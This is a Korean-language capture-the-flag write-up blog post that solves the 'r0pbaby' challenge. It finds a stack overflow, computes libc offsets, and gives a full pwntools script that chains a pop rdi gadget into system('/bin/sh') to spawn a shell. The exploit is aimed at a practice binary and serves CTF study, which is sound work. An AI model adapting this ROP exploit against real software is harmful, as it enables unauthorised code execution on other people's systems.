문제 바이너리다.
64비트용 바이너리로 ubuntu 64에서 실행했다.
checksec로 보호기법을 확인해봤다.
PIE, NX가 걸려있다.
검색을 해보면 짧게 설명한게
PIE 보호기법은 공격시 바이너리 주소를 이용하지 못하도록 파일을 실행 할 때마다 해당 주소를 랜덤하게 바꿔주는 것이라고 한다.
즉 바이너리용 ASLR이라고 생각하면 된다.
그래서 이 문제를 풀려면 직접 offset을 다 구해서 풀어야 한다.
우선 바이너리를 실행시키면 아래와 같이 메뉴선택을 하는 부분이 나온다.
1번을 누르면 libc의 주소가 나오고, 2번을 누르면 내가 원하는 libc함수의 주소를 얻을 수 있다.
대놓고 rop를 하라는 뜻인거 같다.
3번을 누르면 스택에 값을 삽입하는데 "A"를 8개 삽입했더니 rbp가 "A" 8개로 덮여졌다.
즉 저기서 오버플로우가 일어나는 것이다.
공격벡터를 파악 했으므로 익스플로잇 코드를 작성해보자.
먼저 libc에서의 offset을 구해야한다.
system의 주소는 2번을 눌러서 구하면 되므로 패스하고(우선 offset을 구하기 위해 gdb에서 p system으로 구한다.),
/bin/sh의 문자열은 peda의 find기능을 이용해 찾도록 한다.
그리고 이제 system("/bin/sh")의 구조를 완성해주기 위한 pop rdi; ret 가젯을 구해야 한다.
난 rp++ 툴을 이용해 구했다.
많은 주소 중에 0x21102로 정했다.
이제 system()함수의 주소를 이용해 offset을 구한 후 익스 코드를 작성했다.
exploit code
from pwn import * p = process('./r0pbaby') libc_system = 0x45390 libc_prr = 0x21102 libc_binsh = 0x18cd57 print p.recv() p.sendline("1") libc = p.recvuntil("libc.so.6") + p.recvuntil("\n") libc = int(libc.split("\n")[0].split(" ")[1], 16) p.sendline("2") print p.recv(1024) p.sendline("system") system = p.recvuntil("Enter symbol") + p.recvuntil("\n") system = int(system.split("\n")[0].split(": ")[2], 16) print "libc = {0}, system = {1}".format(hex(libc), hex(system)) binsh = system + (libc_binsh - libc_system) prr = system - (libc_system - libc_prr) payload = "A"*8 payload += p64(prr) payload += p64(binsh) payload += p64(system) p.sendline("3") p.sendline("36") p.sendline(payload) p.interactive()
'CTF' 카테고리의 다른 글
pico-ctf-2013 rop-4 (0) | 2018.07.17 |
---|---|
pico-ctf-2013 rop-3 (0) | 2018.07.14 |
pico-ctf-2013 rop-2 (0) | 2018.07.14 |
pico-ctf-2013 rop-1 (0) | 2018.07.14 |
PlaidCTF 2013 ropasaurusrex (0) | 2018.07.14 |